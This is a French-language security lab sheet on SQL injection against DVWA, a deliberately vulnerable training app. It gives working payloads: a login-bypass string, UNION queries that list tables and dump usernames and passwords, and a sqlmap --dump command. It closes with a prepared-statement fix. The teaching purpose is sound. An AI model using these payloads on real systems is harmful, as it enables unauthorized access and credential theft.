Lab 6.2: SQL Injection - Exploitation Complète
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Comprendre comment fonctionne SQL injection
- Bypasser une authentification via injection SQL
- Extraire des données d'une base de données
- Utiliser SQLMap pour automatisation
- Protéger vos applications contre SQL injection
Durée Estimée
40 minutes
Application de Test
Utilisez DVWA (Damn Vulnerable Web Application) ou application fournie.
Technique de Base
Bypass authentification classique:
Username: admin' OR '1'='1' --
Password: (n'importe quoi)
Requête générée:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'
Résultat: Condition toujours vraie, login réussi!
Extraction de Données
Lister les tables:
' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --
Extraire données:
' UNION SELECT username, password FROM users --
SQLMap Automatisé
sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump
Extraction automatique complète!
Protection
Code sécurisé avec prepared statements:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 6